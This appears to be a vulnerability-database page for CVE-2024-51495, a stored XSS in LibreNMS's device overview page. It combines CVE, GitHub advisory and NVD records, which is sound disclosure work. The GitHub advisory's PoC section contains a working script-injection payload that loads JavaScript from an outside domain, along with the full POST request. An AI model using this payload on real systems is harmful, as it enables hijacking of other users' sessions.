Vulnerability-Lookup

CVE-2024-51495 (GCVE-0-2024-51495)

Vulnerability from cvelistv5 – Published: 2024-11-15 15:44 – Updated: 2024-11-15 16:01

Title

LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/dev-overview-data.inc.php

Summary

LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. A Stored Cross-Site Scripting (XSS) vulnerability in the Device Overview page allows authenticated users to inject arbitrary JavaScript through the "overwrite_ip" parameter when editing a device. This vulnerability results in the execution of malicious code when the device overview page is visited, potentially compromising the accounts of other users. This vulnerability is fixed in 24.10.0.

Severity ?

4.8 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/librenms/librenms/security/adv…	x_refsource_CONFIRM
	https://github.com/librenms/librenms/commit/45681…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	librenms	librenms	Affected: < 24.10.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
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              "cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*"
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            "vendor": "librenms",
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                "version": "0",
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                "timestamp": "2024-11-15T15:59:29.292397Z",
                "version": "2.0.3"
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        "providerMetadata": {
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      }
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    "cna": {
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        {
          "product": "librenms",
          "vendor": "librenms",
          "versions": [
            {
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            }
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        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. A Stored Cross-Site Scripting (XSS) vulnerability in the Device Overview page allows authenticated users to inject arbitrary JavaScript through the \"overwrite_ip\" parameter when editing a device. This vulnerability results in the execution of malicious code when the device overview page is visited, potentially compromising the accounts of other users. This vulnerability is fixed in 24.10.0."
        }
      ],
      "metrics": [
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          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 4.8,
            "baseSeverity": "MEDIUM",
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            "privilegesRequired": "HIGH",
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            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.1"
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      "problemTypes": [
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              "lang": "en",
              "type": "CWE"
            }
          ]
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      ],
      "providerMetadata": {
        "dateUpdated": "2024-11-15T15:44:50.033Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/librenms/librenms/security/advisories/GHSA-p66q-ppwr-q5j8",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/librenms/librenms/security/advisories/GHSA-p66q-ppwr-q5j8"
        },
        {
          "name": "https://github.com/librenms/librenms/commit/4568188ce9097a2e3a3b563311077f2bb82455c0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/librenms/librenms/commit/4568188ce9097a2e3a3b563311077f2bb82455c0"
        }
      ],
      "source": {
        "advisory": "GHSA-p66q-ppwr-q5j8",
        "discovery": "UNKNOWN"
      },
      "title": "LibreNMS has a Stored XSS (\u0027Cross-site Scripting\u0027) in librenms/includes/html/dev-overview-data.inc.php"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
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    "datePublished": "2024-11-15T15:44:50.033Z",
    "dateReserved": "2024-10-28T14:20:59.337Z",
    "dateUpdated": "2024-11-15T16:01:15.639Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1",
  "vulnerability-lookup:meta": {
    "vulnrichment": {
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      "dataType": "CVE_RECORD",
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}

GHSA-P66Q-PPWR-Q5J8

Vulnerability from github – Published: 2024-11-15 15:44 – Updated: 2024-11-15 20:50

Summary

LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/dev-overview-data.inc.php

Details

Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the Device Overview page allows authenticated users to inject arbitrary JavaScript through the "overwrite_ip" parameter when editing a device. This vulnerability results in the execution of malicious code when the device overview page is visited, potentially compromising the accounts of other users.

Details

The vulnerability occurs when editing a device. An attacker can inject arbitrary JavaScript into the "overwrite_ip" parameter. This malicious script is then executed in the "Assigned IP" field when the device overview page is loaded.

The payload used to exploit this vulnerability is: test'"><script src=//15.rs></script>

Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.

The root cause of this vulnerability is the application's failure to properly sanitize the "overwrite_ip" value before including it in the HTML output. This is evident in the following line of code:

https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/dev-overview-data.inc.php#L42

PoC

Edit a device and use the following payload in the "overwrite_ip" parameter: test'"><script src=//15.rs></script>
Save the changes.
Navigate to the device overview page.
Observe that the injected script executes in the "Assigned IP" field.

POST /device/14/edit HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded
Cookie: <your_cookie>

_token=<your_token>&editing=yes&display=&overwrite_ip=test'"><script+src=//15.rs></script>&descr=&type=&parent_id%5B%5D=15&Submit=

Impact

This vulnerability allows authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. Compromised accounts could lead to unauthorized actions being taken on behalf of the impacted users.

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 24.9.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "librenms/librenms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "24.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-51495"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-15T15:44:27Z",
    "nvd_published_at": "2024-11-15T16:15:37Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA Stored Cross-Site Scripting (XSS) vulnerability in the Device Overview page allows authenticated users to inject arbitrary JavaScript through the \"overwrite_ip\" parameter when editing a device. This vulnerability results in the execution of malicious code when the device overview page is visited, potentially compromising the accounts of other users.\n\n### Details\n\nThe vulnerability occurs when editing a device. An attacker can inject arbitrary JavaScript into the \"overwrite_ip\" parameter. This malicious script is then executed in the \"Assigned IP\" field when the device overview page is loaded.\n\nThe payload used to exploit this vulnerability is: `test\u0027\"\u003e\u003cscript src=//15.rs\u003e\u003c/script\u003e`\n\nNote: The payload uses the \"15.rs\" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.\n\nThe root cause of this vulnerability is the application\u0027s failure to properly sanitize the \"overwrite_ip\" value before including it in the HTML output. This is evident in the following line of code:\n\nhttps://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/dev-overview-data.inc.php#L42\n\n### PoC\n\n1. Edit a device and use the following payload in the \"overwrite_ip\" parameter: `test\u0027\"\u003e\u003cscript src=//15.rs\u003e\u003c/script\u003e`\n2. Save the changes.\n3. Navigate to the device overview page.\n4. Observe that the injected script executes in the \"Assigned IP\" field.\n\n```http\nPOST /device/14/edit HTTP/1.1\nHost: \u003cyour_host\u003e\nContent-Type: application/x-www-form-urlencoded\nCookie: \u003cyour_cookie\u003e\n\n_token=\u003cyour_token\u003e\u0026editing=yes\u0026display=\u0026overwrite_ip=test\u0027\"\u003e\u003cscript+src=//15.rs\u003e\u003c/script\u003e\u0026descr=\u0026type=\u0026parent_id%5B%5D=15\u0026Submit=\n```\n\n### Impact\n\nThis vulnerability allows authenticated users to execute arbitrary JavaScript code in the context of other users\u0027 sessions. Compromised accounts could lead to unauthorized actions being taken on behalf of the impacted users.",
  "id": "GHSA-p66q-ppwr-q5j8",
  "modified": "2024-11-15T20:50:17Z",
  "published": "2024-11-15T15:44:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/security/advisories/GHSA-p66q-ppwr-q5j8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51495"
    },
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/commit/4568188ce9097a2e3a3b563311077f2bb82455c0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/librenms/librenms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LibreNMS has a Stored XSS (\u0027Cross-site Scripting\u0027) in librenms/includes/html/dev-overview-data.inc.php"
}

FKIE_CVE-2024-51495

Vulnerability from fkie_nvd - Published: 2024-11-15 16:15 - Updated: 2024-11-20 14:41

Severity ?

4.8 (Medium) - CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
5.4 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/librenms/librenms/commit/4568188ce9097a2e3a3b563311077f2bb82455c0	Patch
	security-advisories@github.com	https://github.com/librenms/librenms/security/advisories/GHSA-p66q-ppwr-q5j8	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	librenms	librenms	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "B4BD88D2-5DA7-450B-AEFA-33BCA61685A7",
              "versionEndExcluding": "24.10.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. A Stored Cross-Site Scripting (XSS) vulnerability in the Device Overview page allows authenticated users to inject arbitrary JavaScript through the \"overwrite_ip\" parameter when editing a device. This vulnerability results in the execution of malicious code when the device overview page is visited, potentially compromising the accounts of other users. This vulnerability is fixed in 24.10.0."
    },
    {
      "lang": "es",
      "value": "LibreNMS es un sistema de monitoreo de red de c\u00f3digo abierto basado en PHP/MySQL/SNMP. Una vulnerabilidad de cross site scripting (XSS) almacenado en la p\u00e1gina de descripci\u00f3n general del dispositivo permite a los usuarios autenticados inyectar c\u00f3digo JavaScript arbitrario a trav\u00e9s del par\u00e1metro \"overwrite_ip\" al editar un dispositivo. Esta vulnerabilidad da como resultado la ejecuci\u00f3n de c\u00f3digo malicioso cuando se visita la p\u00e1gina de descripci\u00f3n general del dispositivo, lo que puede comprometer las cuentas de otros usuarios. Esta vulnerabilidad se solucion\u00f3 en la versi\u00f3n 24.10.0."
    }
  ],
  "id": "CVE-2024-51495",
  "lastModified": "2024-11-20T14:41:07.960",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 4.8,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "HIGH",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 1.7,
        "impactScore": 2.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.4,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 2.7,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2024-11-15T16:15:37.343",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/librenms/librenms/commit/4568188ce9097a2e3a3b563311077f2bb82455c0"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/librenms/librenms/security/advisories/GHSA-p66q-ppwr-q5j8"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2024-51495 (GCVE-0-2024-51495)

GHSA-P66Q-PPWR-Q5J8

Summary

Details

PoC

Impact

FKIE_CVE-2024-51495

Tags

Sightings

Nomenclature